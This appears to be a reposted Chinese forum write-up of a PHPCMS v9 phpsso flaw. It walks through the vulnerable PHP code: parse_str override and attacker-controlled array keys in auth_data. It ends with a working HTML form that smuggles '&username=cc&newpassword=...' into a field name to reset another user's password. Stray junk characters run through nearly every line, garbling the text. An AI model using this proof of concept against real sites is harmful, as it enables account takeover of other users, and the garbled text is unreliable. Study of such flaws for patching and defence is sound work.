提到的通行证的代码:( ]& F: Y j1 ?) R& Q. h
% Z( P; n6 U: k6 N2 K. X; H2 z$ @3 t2 }# s& I* t( ~$ t
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);% K, w/ i8 s! h% H
( t2 `2 A4 v0 c' J! {% b在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。* L! S" ]1 f+ v7 X& J& J; u
! B/ m4 l: |' K; l
我把它留给了你们。- s1 r& [+ e4 i( A
不知道你们发现了它没有。: o1 [7 X3 W" \# d& l7 O
( z" k4 [+ ?7 O& e5 i; `1 Q我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。9 E) o1 X5 W2 ]6 j7 M
% u8 ?" X0 x* l7 r/ m
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ ]7 G/ H2 M0 B2 w8 v% y
. Q) M/ G8 U2 N$ s也就是
; W. T9 g+ Z- t$ V; x8 Z
# T6 N- K" P# Y1 W3 fusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。1 t5 U8 D* y& h' p* s* v; I
- ?' `. Z' w1 }# ]; Q% ^: O |! g
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
) B N4 E3 n3 e/ E8 A" |: A7 R$ o! l
, W5 w1 C6 d% n% m* r6 D其实我们有这样的机会,看看代码,如下:2 l3 U8 d/ H# _5 Y
2 w( U% F. R" I1 j O8 O5 P7 H
3 ]/ m' n/ S, U |! w8 `3 p
public function auth_data($data) {
1 w% z) F I- v- h( o2 ^1 H/ c $s = $sep = '';+ Y/ j( _& P& l8 c- K5 T
foreach($data as $k => $v) {0 C0 f0 ?: R2 D& R6 {
if(is_array($v)) {
& c0 f' }0 Z! T) t Q $s2 = $sep2 = '';
. u! k/ @0 o: \ [ foreach($v as $k2 => $v2) {
" M8 K x+ v! U! E $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
% r4 o1 W8 R4 U $sep2 = '&';) H2 D' c- R* c2 Z4 R
}2 I! l& i) {( a* K) l" Z$ ^" E
$s .= $sep.$s2;4 q: W9 w$ \( c5 U7 Z+ L
} else {
' d# W! A, O. o( Q/ Z $s .= "$sep$k=".$this->_ps_stripslashes($v);
2 Z" [% o1 W5 {/ ` }3 y( |. K( S3 @5 l5 @
$sep = '&';
* C9 U, {# J# S% \9 h6 h% `) X }% g$ }* U" K7 |( i& x
. s; H$ _: S0 A4 W# n/ |) Y
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
$ E; x2 K% ~% s/ U& w/ w& h return $auth_s;# J Q9 i5 s% s- u [- L6 n* z" b
}
) G+ U3 m% Z* i9 F
) z9 v: @8 \( m' W! R! a( A可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。: Y/ Z2 ?- q( o4 V* q0 L
! ~) E, w6 y( G! ?% w) g- ^$ W举个例子" S, G! t3 d/ m
& Z5 f; a3 k1 H
$a[aaa=a&bbb] = 'a';
' g* z! r# |1 C% d7 j" K3 T4 r
7 P% I: f1 L7 U; T! S; L会变成aaa=a&bbb=a, }6 F4 s; K3 r3 _& C8 I0 M. u
3 n; \3 Q5 A+ H3 U9 }- f5 i明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。- H8 i) P/ V$ A& G0 O9 M5 U4 V
* ?. Q) h" M. S x, v7 T2 m这个时候,我们可以再去看一个函数。
9 h6 V& O2 y/ c1 f4 o. \( P1 }0 B ?- O% Z- \' c- r: n1 o
就在这个文件内:$ x. Y$ a; b8 m; f, G5 S
+ ~. s$ p/ k H' k7 ]& S4 i
" E, V7 n6 d+ p) B+ z0 E4 L }public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
- c4 L2 s2 U( |# Q {% c o if($email && !$this->_is_email($email)) {
! o* a1 R; \* W% `8 | return -4;
- i; H4 v' \/ p* [ }
+ W8 F; X1 Q6 w) S6 j3 ~& X/ I0 \ return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));& q! r0 M& F/ q
}
( J% a# v& ~ J* b: _4 l3 u3 }0 J0 w
这是向通行证发了这样一个请求。
9 k& ?) _7 y |$ c' a2 [
9 [8 P# B7 X/ B/ ]9 Z" G k3 y1 @我们再跟到通信证代码里去看看,就会有所发现。
3 Z4 Q5 `" [8 y" ^& U2 [- ^' K. V7 w% ~. `4 \
/ r, M5 J* m5 s: w x2 _
public function edit() {2 g3 Q1 K- c5 K- U, j# N2 T* g
//能省就省,太长了不是吗?
( Q- N$ F' x+ {( P- w3 m
$ Q& p: k0 l* K$ s" K5 C% |if($this->username) {6 |- p2 ]2 Y% y; M, k& a- c& [
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。# W& z! } |; F; M# K
$res = $this->db->update($data, array('username'=>$this->username));( V1 n1 d" U; m5 X
} else {6 |6 k' P1 g. [2 n, y
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
* }0 s- c2 T" I+ {+ w) ^) y! R6 g' p $res = $this->db->update($data, array('uid'=>$this->uid));" a9 h8 u, [, {. L# m: j" G
}% Y' P- ]. Q. D3 v' C0 r. U
. b2 f1 V8 s. h) ^
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:4 _1 X/ ?& N4 d; f( r
- k- K! A5 u9 l
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
# P1 w! t: P3 w7 W: X4 @
1 u% n& c4 v+ W5 _: W( H/ s很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
/ F( h# U7 |+ A3 n3 T
& L! D$ v! Q: c2 \3 ^, v/ g$ C/ {我当然找到了:$ {; y2 r" m% E8 ^; h% U
phpcms9/phpcms/modules/member/index.php
" o# s W S7 h6 g& h: ]6 C/ K( F, ^) N! q
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
* H8 }* |( E( L" u
2 }6 Y/ O% K, m& ?8 d5 E l4 U然后就没有然后了。% H) j f: r( `5 |7 Z4 d
' U" D6 ?6 w) A8 L<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">+ {; u, @" {7 n! v9 Y
<table width="100%" cellspacing="0" class="table_form">
( v4 j, b% K7 A/ X5 @ <tr>
% O) v# t4 T3 o& W& D9 G <th width="80">邮箱:</th> ( Y: S+ S8 {3 |
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>6 \8 L8 J$ `0 n L
</tr>3 _3 X: z0 k( W* w0 S# U/ i% c
<tr>( _) I+ o3 G) V: a% R$ Y( s
<th width="80">原密码:</th> : k& Z5 j2 k: a; w
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
. o* `0 ]( @% u7 B5 G0 a </tr>1 z, W- x: k$ z
<tr>
6 T+ M; Z" Z5 @) f8 X1 ] <th>新密码:</th>
! ?1 n. b( C: n; x: E. J' G# W <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td># }) o: w) p6 \ M7 e1 w7 l0 F
</tr> {: W6 R8 p' I1 ? {
<th></th> m$ g a% h* S1 |% R7 S
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
+ R* c% l* ~: S+ x1 q! j </tr>3 v0 [# L* k$ V( n4 X" W
</table>
5 c# a7 a% _' y. e; }+ t9 |7 U. Q/ h
' e$ W& g; I" O9 z
- E- Q) q# M7 P1 a* W( ?# A5 i </form>
0 y2 Z) C8 b# q/ B |